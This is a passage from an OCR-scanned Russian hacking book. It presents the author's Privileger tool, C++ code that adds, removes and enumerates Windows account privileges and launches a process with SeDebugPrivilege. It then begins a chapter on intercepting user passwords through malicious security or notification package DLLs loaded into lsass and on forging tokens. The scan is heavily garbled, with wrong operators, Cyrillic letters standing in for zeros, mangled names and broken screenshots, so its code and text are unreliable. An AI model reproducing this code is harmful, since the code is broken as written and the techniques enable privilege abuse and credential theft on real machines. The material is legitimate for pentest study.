if (lErr 1= ERROR SUCCESS)
plsastrPrivs = NULL;
leave;
ULONG lDispLen = О;
ULONG lDispLang = О;
for (ULONG llndex = О; lindex < lCount; llndex++) (
lstrcpyn(szTempPrivBuf, plsastrPrivs[lindex] .Buffer, plsastrPrivs[lindex] .Length);
szTempPrivBuf[plsastrPrivs[lindex] .Length) = О;
wprintf(L"\tProgrammatic name: 'cs\n", szTempPrivBuf);
lDispLen = 1024;
if (LookupPrivilegeDisplayNameW(NULL, szTempPrivBuf, szPrivDispBuf, &lDispLen,
&lDispLang) 1
wprintf(L"\tDisplay Name: %ws\n\n", szPrivDispBuf);
fSuccess = TRUE;
finally (
if (plsastrPrivs) LsaFreeMemory(plsastrPrivs);
return (fSuccess);
Здесь с помощью функции LsaEnumerateAccountRights 11 (https:/Лearn.microsoft.com/en
us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumerateaccountrights)
мы получа
ем количество привилегий пользователя, а в буфер PLSA_UNICODE_STRING упадут их
имена. После чего в цикле просто парсим их, дополнительно получая дружествен
ные имена с помощью LookupPri vilegeDisplayNamew 11 (https://learn.microsoft.com/enus/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew).
В принципе, вот так работает добавление привилегий аккаунту.
Запускаем процесс с привилегией
Особенностью второго режима работы можно считать то, что нам придется прове
рять не только имя привилегии, но и путь, чтобы на каком-нибудь пентесте в самый
разгар работ не вывалилось веселое исключение. Проверку этих данных я реализо
вал в функции ValidatePathinfo 1).
DWORD ValidatePathinfo(wchar_t* Path, wchar_t* cPrivName) (
В001 bPathEx = PathFileExistsW(Path);
if (bPathEx) (
std: :wcout << L"[+) " << Path << L" Found" << std: :endl;
if ( 1ValidatePriv(cPrivName)) {
std: :wcout « L" [-) ValidatePathinfo() success" « std: :endl;
Глава б. Управляем привилегиями в
103
Windows
return 1;
else {
std: :wcout « L" [+] ValidatePathlnfo () success" « std:: endl;
return О;
return
О;
else {
std::wcout « L"[-] "« Path « L" not found" « std::endl;
return 1;
return 1;
Проверить путь (т. е. убедиться, что файл, к которому пользователь указал путь,
существует) удобнее всего с помощью PathFileExists
(https://learn.microsoft.com/enus/windows/win32/api/shlwapi/nf-shlwapi-pathfileexistsa). Функция работает проще
некуда: вернет TRUE, если путь существует, FALSE - если нет.
Убедившись
К
в
корректности
предоставленных
данных,
програм;ма
переходит
InitMode2 ():
DWORD InitMode2(wchar_t* cPath, wchar_t* cPrivNarne) {
std: :wcout « L" [+] Initializing rnode 2 \n [+] Path to
Privilege: " « cPrivNarne « std: :endl;
ехе:
" « cPath « "\n [+]
IrnpersonateSelf(Securitylrnpersonation);
hToken = NULL;
OpenThreadToken(GetCurrentThread(), TOКEN_ALL_ACCESS, FALSE, &hToken);
DWORD dw = : :GetLastError();
if (dw != О) {
std: :wcout « L" [ 1 ] Error OpenThreadToken () : " « dw « std: : endl;
return 1;
НANDLE
if
(EnaЬleTokenPrivilege(hToken, cPrivNarne, TRUE) == О)
std: :wcout « L" [+] EnaЫeTokenPrivilege() success" « std: :endl;
STARTUPINFO startuplnfo;
ZeroMernory(&startuplnfo, sizeof(STARTUPINFO) );
PROCESS_INFORМATION processlnforrnation;
ZeroMernory(&processlnforrnation, sizeof(PROCESS INFORМATION));
startuplnfo.cb = sizeof(STARTUPINFO);
CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, cPath, О, NULL, NULL,
&startuplnfo, &processlnforrnation);
DWORD dw = : :GetLastError();
if (dw 1= О) {
std::wcout « 1"[ 1 ] Error CreateProcessWithTokenW(): "« dw « std::endl;
return 1;
Часть
104
11.
Системное программирование для хакеров
else (
std:: wcout
return
«
L" [ +) CreateProcess:qi thTokenW () success"
«
std:: endl;
О;
else
std::wcout
«
L" [-]
EnaЫeTokenPrivilege()
failed"
«
std::endl;
return 1;
return
О;
Процесс можно разделить на несколько этапов:
l.
Привязка текущего токена процесса к токену текущего потока.
2.
Получение хендла на этот токен.
3.
Добавление привилеги11 в токен.
4.
Старт процесса с измененным токеном.
Итак, первые два шага достаточно простые. Нацепить токен процесса на токен те
кущего потока можно с помощью ImpersonateSelf 11 (https:/Лearn.microsoft.com/en-us/
windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateselt), затем
лучаем
хендл
на
него
через
по
OpenThreadToken ( 1 (https:/Лearn.microsoft.com/en-us/
windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken). И вновь
используется отдельная функция для добавления привилегии. Мне нравится подоб
ная модульность, потому что можно взять функцию из одного проекта и просто
скопировать ее в другой.
DWORD
EnaЬleTokenPrivilege(НANDLE
TOКEN_PRIVILEGES
hToken, LPTSTR szPriv,
В001 bEnaЬled)
(
tp;
LlJID luid;
i f ( 1 LookupPrivilegeValue (NlJLL, szPriv, &luid))
std: :wcout
«
[
L" [-) LookupPrivilegeValue() Error: "
«
GetLastError()
«
std: :endl;
return 1;
tp.PrivilegeCount = 1;
tp.Privileges[0] .Luid = luid;
tp.Pr1vileges[0] .Attributes =
bEnaЫed? SE_PRIVILEGE_ENAВLED
:
О;
i f ( 1 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NlJLL, NlJLL)) (
std::wcout
«
L"[-] AdjustTokenPrivileges() Error:
"«
GetLastError()
«
std::endl;
return 1;
return
О;
Сначала заводим специальную структуру, в которую занесем
LUID -
LUID
это некая интерпретация привилегии в системе, по которой
привилегии.
Windows
по-
Глава б. Управляем привилегиями в
нимает,
что
за
привилегия
105
Windows
перед
ней .
Получить
LUID
можно
с
помощью
LookupPri vilegeValue () (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-
winbase-lookupprivilegevaluea).
Для добавления привилегии в токен передаем соз
данную структуру в функцию AdjustTokenPri vileges
(https://learn.microsoft.com/en-us/
windows/win3 2/а pi/secu rity basea pi/n f-secu rity basea pi-ad j usttoken р rivileges). При
чем в нее можно передать сразу несколько привилегий . Например , чтобы сразу до
бавить SeDebugPrivilege и Se imper sonatePrivi l ege, но в нашем случае этого не требуется .
После
чего поток управления
возвращается
в функцию
I ni t Mode2 (), в которой
мы вызываем функцию CreateP r ocessWi thToken () (https://learn.microsoft.com/en-us/
позволяющую
windows/win32/api/winbase/nf-winbase-createprocessw ithtokenw),
создать процесс с токеном, куда мы добавили привилегии (рис . 6.4) .
. \ Privi l eger x64.exe 2 C:\Windows\System32\cmd.exe SeDebugPr i vilege
Рис .
6.4.
Успешный запуск процесса с нужными привилегиями
Удаляем привилегию из аккаунта
Иногда может потребоваться и обратный сценарий
-
нужно удалить привилегию
из аккаунта. Начало стандартное, такое же, как и в первом режиме работы . То есть
мы просто проверяем имя пользователя и привилегию на валидность. Далее полу
чаем хендл на политику
LSA
текущего компьютера и дергаем AddUserPri vi l ege ().
Помните эту функцию?
DWORD AddUse r P r ivi l ege( LSA_НANDL E hPol i cy , LPWSTR wUsername , LPWSTR wPri vName, BOOL
ЬЕnаЫе)
Последним параметром мы можем передать FALSE, что приведет к срабатыванию
следующего условия .
el se (
ULONG l Err = LsaRemoveAccountRights(hPol icy , UserSid , FALSE , l sast r Pr ivs , 1) ;
if (lErr == ERROR_SUCCESS) (
std:: wcout << L" [- ] Removing " << wPrivName << L" Success " « std::endl;
Часть
106
11.
Системное программирование для хакеров
std: :wcout « L" [+] Enumerating Current Privs" « std: :endl;
PrintTrusteePrivs(h?olicy, UserSid);
VirtualFree(UserSid, О, МЕМ RELEASE);
return О;
else {
wprintf(L" [-] Error LsaRemoveAccountRights() %d", lErr);
return 1;
Как следствие, привилегия будет снята с указанного аккаунта с помощью вызова
функции LsaRemoveAccountRights (https:/Лearn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaremoveaccountrights ).
Потом мы дергаем PrintTrusteePri vs (),
что позволяет вывести новый список привилегий пользователя (рис.
6.5) .
. \Privilegerx64.exe 3 Michael SeDebugPrivilege
PS C:\Users\Michael\Downloads>
.\Privitegerxбll.exe
3 Michael SeDebugPrivilege
-- \
(_)
(_) 1
1__ ) 1
--- 1 1 --- -- _ --- _ -1 ___ / '--1 \ \ / / 1 1/ _ \/ _' 1/ _ \ , __ 1
1 1 1 1 1 I\ v /1 1 1 __ / (_I 1 __ / 1
1_1 1_1 1_1 \ _/ 1_1_1, ___ 1, __ , 1, ___ 1_1
__/ 1
1___ /
V 1.2
https://github.com/MzHmO
[+] User Michael found
[+] Privilege SeDebugPrivilege Found
[+] Validation Success
[+] VatidateAccinfo() success
[+] Initializing mode З
[+] Target Account: Michael
[+] Privilege: SeDebugPrivilege
[+] ComputerName: WINPC
[+] LsaOpenPolicy() Success
[+] User SID: S-1-5-21-718167Ц81-5179Ц1511-111720Ц786-1002
[-] Removing SeDebugPrivilege Success
[+] Enumerating Current Privs
Programmatic name: SelockMemoryPrivilege
Display Name: Блокировка стран1щ в памяти
Programmatic name: SeSecurityPrivilege
Display Name: Уnравлен11е аудитом и журналом
безопасности
PS C:\Users\Michael\Downloads>
Рис.
6.5.
Список привилегий пользователя
Глава
6.
Управляем привилегиями в
107
Windows
Ищем объекты с привилегией
В этом случае инструменту нужно передать имя привилегии , которую мы ищем,
а также имя компьютера, на котором мы ее ищем. Например , если нам нужно обна
SeDebugPrivilege, на компью
WINPC, то запуск выполняется следующей командой (рис . 6.6):
ружить все учетные записи , обл адающие привилегией
тере
.\Privilegerx64 .exe 4 WINPC SeDebugPrivilege
.\Privilegerxбll.exe
PS C:\Users\"ichael\Downloads>
(_) 1
__ , 1 _
- \ {_)
1 /_) 1
II WINPC SeDebugPrivitege
_ _ _ __
1 _/ ,_, \ \ / / 1 1/ _ \/ _, 1/ _ \ ,_,
1 1 _/ (_/ 1 _/ 1
v /1,_,_,,_,,_,
1
,_,1 1,_,1 1,_,I\ \_/
,,_,_,
_/ 1
V 1.2
/ __ /
https://github . co~/"zHnO
[+] Privilege SeDebugPrivitege Found
[+] Validation Success
[+] Objects with priviteges:
[ !]
Atias SID
(~ау Ье
local group):
ВUILПN\Администратор••
S- 1- 5- 32- 51111
[!] User: WINPC\"ichael S-l-5-21-7181671181-5179111511-11172611786-1662
PS C:\Users\"ichael\Downloads>
Рис.
6.6.
Поиск объектов с привилегией
При запуске этого режима я решил не проверять имя компьютера, т. к . если указать
невалидное имя, то сломается фу нкция LsaOpenPolicy() (рис .
вернет код ошибки
6.7).
PS C:\Users\"ichael\Downloads>
-- \
.\Privilegerxбll.exe
II OTHER0PC SeDebugPrivitege
(_) 1
(_)
_ _ _ __
_ , 1_
1 1__ ) 1
1 __ / ' _ , \ \ / / 1 I/ _ \/ _' I/ _ \ ' _,
1 1 1 1 1 1\ V /1 1 1 _/ CI 1 __/ 1
,_,
,_, ,_,
\_/
,,
,_,_,, __ ,,__ ,
__ ,_,
_/ 1
/ __ /
V 1.2
https://github . co~/"zHnO
[+] Privilege SeDebugPrivilege Found
[+] Validation Success
[ - ] LsaOpenPolicy() failed: 1722 1 1s co~puter alive?
PS C:\Users\l'lichael\Downloads> 1
Рис .
6.7.
Результат проверки
Все уместилось в одну маленькую аккуратную функцию :
DWORD InitMode4(wchar_t* cCompName , wchar_t* cPrivName )
LSA- OBJECT - ATTRIBUTES lsaOA = ( ~ };
LSA_UN ICODE_STRING l sastrComputer = ( О ) ;
1722
Часть
108
11.
Системное программирование для хакеров
LSA НANDLE hPolicy = NULL;
lsaOA.Length = sizeof(lsaOA);
lsastrCornputer.Length = (USHORT) (lstrlen(cCompName) * sizeof(WCНAR));
lsastrCornputer.MaximшnLength = lsastrCornputer.Length + sizeof(WCНAR);
lsastrCornputer.Buffer = (PWSTR)cCompName;
NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA, POLICY_VIEW_LOCAL_INFORМATION
POLICY_LOOKUP_NAМES, &hPolicy);
ULONG lErr = LsaNtStatusToWinError(ntStatus);
if (lErr 1= ERROR SUCCESS) {
if (lErr == 1722) {
std::wcout « 1
LsaOpenPolicy() failed:
« lErr «
Is cornputer alive?" «
std:: endl;
return 1;
1
11 ( - ]
std::wcout « 1
return 1;
11 [ - ]
11
LsaOpenPolicy() failed:
11
11
1
« lErr « std::endl;
LSA_UNICODE_STRING privilege = ( О };
LSA_ENUМERATION_INFORМATION* array = ( О };
ULONG count;
WCНAR accountName[256];
WCНAR domainName[256];
SID NАМЕ USE snu;
DWORD domainLength = sizeof(domainName) / sizeof(WCНAR);
DWORD accountLength = sizeof(accountName) / sizeof(WCНAR);
В001 fSuccess = FALSE;
LPTSTR StringSid = NULL;
privilege.1ength = (USHORT) (lstrlen(cPrivName) * sizeof(WCНAR));
privilege.MaximшnLength = privilege.Length + sizeof(WCНAR);
privilege.Buffer = cPrivName;
_try {
NTSTATUS ntstatus = 1saEnumerateAccountsWithUserRight(hPolicy, &privilege,
(void**)&array, &count);
ULONG lErr = 1saNtStatusToWinError(ntstatus);
if (lErr != ERROR_SUCCESS)
array = NUL1;
if (lErr == 259) {
std: :wcout « 1
No objects « std: :endl;
else {
std::wcout « 1
leave;
11
[-]
11
[-]
11
LsaEnumerateAccountsWithUserRight() failed: "« lErr «
std: :endl;
Глава б. Управляем привилегиями в
109
Windows
std::wcout « L"[+] Objects with privileges: "« std::endl;
for (ULONG i = О; i < count; i++) {
ConvertSidToStringSid(array[i] .Sid, &StringSid);
LookupAccountSid(NULL, array[i] .Sid, accountName, &accountLength, domainName,
&domainLength, &snu);
switch (snu) {
case SidTypeUser:
printf (" [ 1 ] User: ");
wprintf(L"%s\\%s %s \n", domainName, accountName, StringSid);
break;
case SidTypeGroup:
case SidTypeWellКnownGroup:
printf(" [ 1 ] Group: ");
wprintf(L"%s\\%s %s\n", domainName, accountName, StringSid);
break;
case SidTypeAlias:
printf(" [ 1 ] Alias SID (may Ье local group): \t");
wprintf(L"%s\\%s %s\n", domainName, accountName, StringSid);
break;
default:
printf(" [ 1 ] Idk what is it: ");
wprintf(L"%s\\%s %s\n", domainName, accountNam<c, StringSid);
break;
fSuccess = TRUE;
finally {
LsaFreeMemory(array);
return
О;
Сначала мы пытаемся получить хендл политики
LSA
на компьютере, имя которого
LsaOpenPolicy (). После чего создаем специ
альные структуры для передачи их в функцию LsaEnumerateAccountsWi thUserRight ()
было передано. Здесь все стандартно
-
(https://learn.microsoft.com/en-us/windows/win32/api/n tsecapi/nf-ntsecapi-lsaenume
rateaccountswithuserright). Результатом выполнения функции станет массив объ
ектов, обладающих нужной привилегией. Причем опять же для передачи привиле
гии мы используем LSA_ UNICODE _STRING. Получив массив объектов, начинаем его пар
сить. Он будет содержать структуру LSA_ENUМERATION_INFORМAТION, внутри которой ле
жит лишь
SID:
typedef struct
PSID Sid;
_LSA_ENUМERATION INFORМATION
LSA_ENUМERATION_INFORМATION,
*PLSA
{
ENUМERATION
INFORМATION;
Часть
110
11.
Системное программирование для хакеров
Поэтому конвертируем в стандартное имя пользователя через уже известную нам
функцию ConvertSidToStringSid (), а затем передаем в функцию LookupAccountSid () для
получения имени пользователя по его
речисляемый тип
SID. Последним параметром указывается пе
sro_NAМE _USE (https://learn.microsoft.com/en-us/windows/win32/api/
winnt/ne-winnt-sid_name_use),
с его помощью мы сможем определить тип объекта.
Чаще всего это будет Sictтypeuser (обычный пользователь), но мало ли что ... В связи
с этим я добавил также небольшие пометки, мол, тут
-
пользователь, а тут
-
группа.
Смотрим привилегии объекта
Рассмотрим последний, пятый режим работы. Он позволяет находить привил::гии,
которыми обладает определенная учетная запись на компьютере. Начало тут не
самое обычное:
•
case '5':
std::wcout
«
1"[ 1] I'm not
«
L" [ ! ] Starting"
аЫе
to validate username and РС name. Make sure you enter
the correct da ta." « s td: : endl;
Sleep(SOO);
std: :wcout
if (InitModeS (argv[2],
std::wcout
«
«
argv[З])
std: :endl;
!= 0) {
L"[-] InitMode 5 Error"
«
std::endl;
break;
Не используя никакие вспомогательные RРС-функции, мы не сможем провалиди
ровать имя пользователя и компьютера. Поэтому выделяем самим себе
бы убедиться глазками, что все в порядке. Ну и опять же
-
500
мс, что
меньше трафика, лиш
него шума. Сама основная функция также достаточно проста:
DWORD InitModeS(wchar_t* cCompName, wchar_t* cUsername)
LSA_НANDLE
(
hPolicy;
LSA_OBJECT_ATTRIBUTES lsaOA = (
о
);
LSA_UNICODE_STRING lsastrComputer = {
О
);
lsaOA.Length = sizeof(lsaOA);
lsastrComputer .Length = (USHORT) (lstrlen (cCompName) * sizeof
lsastrComputer.MaximumLength = lsastrComputer.Length +
(WCНAR));
sizeof(WCНAR);
lsastrComputer.Buffer = (PWSTR)cCompName;
NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA,
POLICY_VIEW_LOCAL_INFORМATION
POLICY_LOOKUP_NAМES,
&hPolicy);
ULONG lErr = LsaNtStatusToWinError(ntStatus);
if (lErr != ERROR SUCCESS) {
if (lErr == 1722) (
std: :wcout
«
L" [-] LsaOpenPolicy(I failed: "
«
lErr
« "
1
Is computer alive?" «
std: :endl;
return 1;
std::wcout
«
L"[-] LsaOpenPolicy() failed:
"«
lErr
«
std::endl;
Глава
6.
Управляем привилегиями в
111
Windows
return 1;
PSID UserSid;
DWORD sid size = О;
LPTSTR wSidStr = NULL;
DWORD domain size = О;
SID- NАМЕ - USE sid- use;
if ( 1 LookupAccountName(NULL, cUsernam~, NULL, &sid_size, NULL, &domain_size, &sid_use)) {
UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE I MEM_COMMIT, PAGE_READWRITE);
LPTSTR domain = NULL;
dorr.aiп = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof{WCНAR), MEM_RESERVE
MEM_COMMIT, PAGE_READWRITE);
LookupAccountName(NULL, cUsername, UserSid, &sid_size, domain, &domain_size, &sid use);
VirtualFree(domain, О, MEM_RELEASE);
ConvertSidToStringSid(UserSid, &wSidStr);
std: :wcout « L" [+] User SID: " « wSidStr « std: :endl;
PrintTrusteePrivs(hPolicy, UserSid);
VirtualFree{UserSid, О, MEM_RELEASE);
return О;
else {
std::wcout « L" [-] LookupAccountName() Error: "« GetLastError{) « std::endl;
return 1;
1
return 1;
Все крутится вокруг уже созданной функции PrintTrusteePri vs
получить хендл политики
для получения
SID,
LSA
11. Нам остается лишь
LookupAccountName (1
на компьютере, а затем дернуть
который мы отдадим в функцию для вывода существующих
привилегий у аккаунта. Круто, да?
Заключение
Привилегии в
Windows,
можно без проблем
действительно, очень большая и интересная тема. Причем
расширять
Privileger,
совершенствовать и исправлять мой
божественный, суперчистый и великолепный код.
В любом случае, если у вас вдруг остались вопросы, либо при использовании инст
румента появились какие-то ошибки, пишите: все переделаю, исправлю, помогу,
подскажу!
ГЛАВА
7
ТТ оставщик небезопасности.
Как
Windows
раскрывает
пароль пользователя
Большинство механизмов защиты в
Windows
строится на паролях учетных записей
пользователей. В этой главе мы разберем несколько способов перехвата паролей
в момент авторизации пользователя и напишем код для автоматизации этого про
цесса.
Windows
имеет сложную систему аутентификации со множеством компонентов.
Фундаментом этой системы можно считать
LSA -
LSA (Local Security Authority)
и
SSP.
огромная подсистема, которая служит для проверки подлинности пользова
телей, их регистрации, смены пароля и подобных операций. Еще в
LSA
хранится
информация обо всех аспектах безопасности локального компьютера, например
количестве неуспешных вводов пароля для блокировки учетной записи. Посредст
вом
LSA
можно даже назначать привилегии пользовательским учеткам, для этого
разработан инструмент
Privileger
(https://github.com/МzНmO/Privileger), который
мы подробно рассматривали в предыдущей главе.
SSP
тоже не так прост, как кажется: мы рассмотрели его использование в клиент
серверных процессах в главе
4.
Он не только помогает разработчикам шифровать
данные, обеспечивать целостность передаваемой информации, выстраивать кон
текст, но и может расширить стандартную аутентификацию. Правда, для этой цели
будет использоваться не просто
SSP, а SSP/AP,
о котором мы поговорим позже.
Компоненты безопасности
Их можно считать кирпичиками, из которых строится вся огромная система аутен
тификации в
Windows.
Отмечу, что теория из этой главы будет распространяться и
на последующий материал. Мы начнем с простейшего перехвата пароля, а затем
будем понемногу усложнять себе задачу.
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает
пароль пользователя
113
Security Package
Security Package (SP) - программная реализация некоего протокола безопасности.
Security Package содержатся в SSP (и/или SSP/АР) в виде DLL-файлов. Например,
Kerberos и NTLM находятся в SSP secur 32 .dll. Да, именно в Secur 32. dl l, т. к . именно
этот SSP делегирует функции безопасности нужному SP. Например, если служба
требует аутентификацию по Kerberos, то Secur32. dll вызовет Ke rberos. dll (рис. 7.1).
в
Служба
~➔ с
~--------<
8
в
я
Рис.
SSP/AP
АР
-
7.1 . Работа SP
(или же просто АР)
Authentication Package.
содержит один или несколько
ся в том , что
SSP/ АР
DLL, которая тоже
от стандартного SSP заключает
Представляет собой библиотеку
SP. Главное
отличие
может выступать в качестве пакета аутентификации (АР), т . е.
проверять подлинность введенных данных при входе пользователя в систему.
Тем не менее
SSP/AP
выполняет и все функции стандартного
контекст, шифровать данные и прочие) . Чтобы
в
качестве
пакета
аутентификации,
и
в
SSP/AP
качестве
SSP
(выстраивать
мог функционировать и
обычного
SSP
для
клиент
серверных процессов , при запуске системы он загружается в пространство процес
са
lsass . ехе .
Также, если требуется работать лишь с клиент-серверными функциями конкретно
го
SSP/AP,
он без проблем может быть загружен в клиент-серверное приложение .
Например, методом динамического
(функция
LoadLibrary () ) либо статического свя
зывания ( pragma comment ), т . е . без загрузки в процесс l sass . exe. В таком случае функ
ции пакета аутентификации использоваться не будут (рис .
7.2).
Часть
114
11.
Системное программирование для хакеров
C\ient-Slde Process
LSASS
Рис.
7.2. SSP/AP
в
lsass.exe
и клиентских процессах
Security Providers
Security Providers
не стоит путать с
Провайдеры безопасности (рис.
Security Package.
7.3)
Они все-таки различаются.
реализованы в виде
DLL
и позволяют выпол
нить так называемую вторичную аутентификацию. То есть после того, как польза-
Server
1.
'
Off1CE\МISНA
я
1
1234567890
-
Security
Provlder
•.
Server
Рис.
7.3.
Работа
Security Providers
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает пароль пользователя
115
ватель прошел аутентификацию на одной машине, он может пройти аутентифика
цию и на другой машине, например на сервере Linux. Таким образом, пользователь
получает доступ к ресурсам UNIX-cepвepa с машины
аутентификации. Это называется
Windows
без дополнительной
Single Sign-On.
Credential Providers
Провайдеры учетных данных
-
СОМ-объекты, служащие для беспарольноrо дос
тупа к системе. Реализованы тоже в виде динамических библиотек
для
распознавания лица
используется
FaceCredentialProvider. dll,
DLL.
для
Например,
смарт-карт
-
SrnartcardCredentialProvider.dll.
Также может использоваться сторонний поставщик учетных данных. Все доступ
ные поставщики учетных данных перечислены здесь:
HКLМ\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential
Providers
Каждый ключ по этому пути реестра идентифицирует определенный класс постав
щика безопасности по его CLSID. Сам CLSID должен быть зарегистрирован
HKCR\CLSID, т. к. является классом СОМ. Для изучения всех доступных поставщиков
также можно воспользоваться инструментом CPlist. ехе
в
(https://github.com/zodiacon/Windowslnternals/releases/tag/1.1).
Password Filters
С помощью
Password Filters
можно расширить стандартную парольную политику
на конкретных хостах. Когда создается запрос на смену пароля, LSA вызывает все
пакеты уведомлений, чтобы проверить, удовлетворяет ли новый пароль фильтрам,
реализованным внутри пакета. Причем каждый пакет уведомлений вызывается
дважды:
1.
Для проверки нового пароля. Если какой-то из пакетов уведомлений сообщает,
что пароль не подходит, система потребует у пользователя указать иной пароль.
2.
Для уведомления о том, что пароль изменился. Этот вызов произойдет только
тогда, когда все пакеты уведомлений сообщили, что пароль нормальный и соот
ветствует их фильтрам.
Password Filter можно
считать частным случаем
Notification Package
(рис.
7.4).
Как происходит вход пользователя в систему
Перед тем как мы сможем перехватить пароль, следует разобраться с процессом
входа пользователя в систему. В этой главе мы не будем вдаваться в подробности
инициализации Winlogon, создания рабочих столов, GINA. Просто знайте, что
именно благодаря процессу Winlogon.exe осуществляется интерактивный вход. Сис
тема запустилась, пользователь сел за клавиатуру.
1.
Для начала аутентификации отправляется комбинация клавиш
нию
<Ctrl>+<Alt>+<Del>). Winlogon
цесс входа.
SAS
(по умолча
получает это сообщение, начинается про
Часть
116
.......
Системное программирование для хакеров
норммроn.?
+
Рис.
2.
11.
7.4. Notification Package
в случае проверки пароля
Так как в современных системах присуrствует множество вариантов беспароль
ного входа
к
(оmечаток пальца, распознавание лица), то Winlogon обращается
Credential Providers, чтобы получить информацию об ауrентифицирующемся
пользователе.
3.
Вне зависимости от ответа провайдера учетных данных
Winlogon
порождает
процесс Logonur. ехе. Он предоставляет интерфейс для ввода пароля и завершается
после окончания этого действия. Таким образом, Logonur . ехе может перезапус
каться бесконечное количество раз, если вдруг возникают какие-либо ошибки.
Как следствие, обеспечивается защита от возможного краша Winlogon.exe.
4.
После того как пользователь ввел свой логин и пароль либо если провайдер
учетных данных вернул их,
Winlogon
пользователя. Данный
назначается всему текущему экземпляру рабочего
стола (клавиатура,
SID
мышь, экран) .
создает уникальный
После чего
lsass.exe с целью ауrентификации пользователя.
SID
для входа этого
идет обращение к
процессу·
Глава
5.
7.
Поставщик небезопасности. Как
Windows раскрывает
117
пароль пользователя
Обращение можно разделить на несколько этапов. Сначала Winlogon.exe регист
рирует себя как процесс аутентификации. Делается это вызовом функции
LsaRegisterLogonProcess (). В случае успешного вызова процесс получает хендл на
для последующего взаимодействия. Причем взаимодействие будет осуще
LSA
ствляться посредством
6.
ALPC (Advanced Local Procedure Calls).
Далее Winlogon.exe получает хендл на пакет аутентификации
в
случае
АО,
тут
мы
рассматриваем
только
MSVI_O (и Kerberos
MSVl_O) путем вызова
LsaLookupAuthenticationPackage():
NTSTATUS LsaLookupAuthenticationPackage(
[in]
НANDLE
[inj
PLSA_STRING PackageName,
[out] PULONG
LsaHandle,
AuthenticationPackage
);
Эта функция ничего особенного не требует. LsaHandle -
зовом LsaRegisterLogonProcess (); PackageName -
имя пакета аутентификации, напри
мер мsv1 _о _РАСКАGЕ _NАМЕ; AuthenticationPackage лаемого для использования
7.
Winlogon
хендл, полученный вы
полученный идентификатор же
пакета аутентификации.
Получив идентификатор пакета аутентификации,
Winlogon
передает ему ин
формацию в вызове функции LsaLogonuser (). Эта информация содержит
шага
SID
4,
SID
из
а также информацию об аутентифицирующемся пользователе. Передача
помогает предотвратить несанкционированный доступ к рабочему столу,
например если взять и ввести пароль одного пользователя, а попробовать полу
чить доступ к столу другого.
8.
Внутри
вызывается функция LsaApLogonuserEx(), где имя пользователя и
MSVl_O
пароль проходят аутентификацию при помощи базы данных
SAM.
Если аутен
тификация успешна, там же создается сессия входа в систему: вызывается
LsaCreateLogonSession (), и ей присваивается
LogonID (LUID), который генерирует
MSVl_O добавляет специальную ин
ся пакетом аутентификации. После этого
формацию к сессии с помощью вызова LsaAddCredential (). Обычно это имя поль
зователя, имя домена и контрольные суммы LM/NT-xeшa пароля. Эта инфор
мация
. доступ
9.
Далее
впоследствии
понадобится,
если
пользователь
попытается
получить
к удаленным узлам.
Winlogon
дожидается ответа от
LSA
по поводу введенных учетных дан
ных.
1О.
После успешной
аутентификации
пользовательской оболочки
пользователя запускается
(User Shell).
инициализация
Пользовательская оболочка
-
сово
купность процессов, запущенных от лица конкретной учетной записи.
11.
Просто взять и создать пользовательскую оболочку, например с помощью
обычного CreateProcess (), не получится. Сначала lsass. ехе вызывает функцию
NtCreateToken () для создания токена доступа. В этом токене будет содержаться
информация о самом пользователе. Именно этот токен в дальнейшем станет
использовать Winlogon.exe для создания процесса от лица аутентифицированного
пользователя.
Часть
118
11.
Системное программирование дпя хакеров
Возможно, у вас сразу появилась коварная мысль: «А могу ли я сам генериро
вать токены?» Как бы да, и как бы нет. Для успешного создания токена требу
ется привилегия SeCreateTokenPri vilege, которой обладает только lsass. ехе. Если
у нас есть эта привилегия, то мы сможем нафантазировать что душе угодно.
Абсолютно любой токен
любые группы, привилегии, вне зависимости от ка
-
ких-либо глобальных настроек и конфигураций. Например, я получал права на
выполнение кода от лица группы (рис.
И ставил
SID =
О (рис.
7.5).
7.6).
C:\Windows\system32>whoami
сringе\администраторы домена
Рис.
~
7.5.
Выполнение кода от лица группы
:\Windows\system32>whoami
ull sid
:\Windows\system32>whoami /groups
Сведения
о
группах
Группа
IBUIL ТIN\Администраторы
l
ая
группа,
510
Псевдоним
5- 1- 5 - 32 - 544
Группа
5- 1- 5 - 21 - 2531206019 - 2546345469 - 201572242-512
Владелец группы
СRINGЕ\Администраторы домена
ая
Тип
группа
Рис.
12.
7.6. Null sid
Дополнительно winlogon.exe собирает информацию о пользовательской среде.
Информация эта самая разная. Заострю внимание на начальном процессе, он же
системный шелл,
-
процессе, который будет порождать остальные процессы в
системе от лица пользователя и применяя все установленные настройки поль
зовательского профиля. Все эти данные хранятся в HКLМ\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon.
В
ключе
Userinit
по
умолчанию
указан
процесс
userinit.exe, который как раз таки восстанавливает настройки профиля пользо
вателя. А в ключе shell -
13.
системный шелл, обычно это explorer. ехе.
Сначала идет обращение именно к userinit, программа запускается, выполняет
ся инициализация среды, а затем userinit.exe обращается к ключу shell и порож
дает системный шелл. После этого процесс userinit завершается. Собственно,
ровно по этой причине мы и не видим родительского процесса у explorer. ехе -
userinit.exe
14.
уже завершился.
Пользователь заходит в систему и получает доступ к своему рабочему столу
(рис.
7.7).
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает пароль пользователя
119
LogonUl.exe
OfFICE\МISНA
1
1
1234567890
1
1
2.2
-·-- Сооос:т~со
&IJOi.
Оородемоо
2 Credentlal Provlders
Рис.
Инициализация
Именно
LSA
7.7.
Процесс аутентификации
LSA
играет ключевую роль в процессе аутентификации пользователя.
Каким образом
LSA
будет инициализировать наши вредоносные
реализованные в виде
ванные
DLL
находятся
АР и
NP?
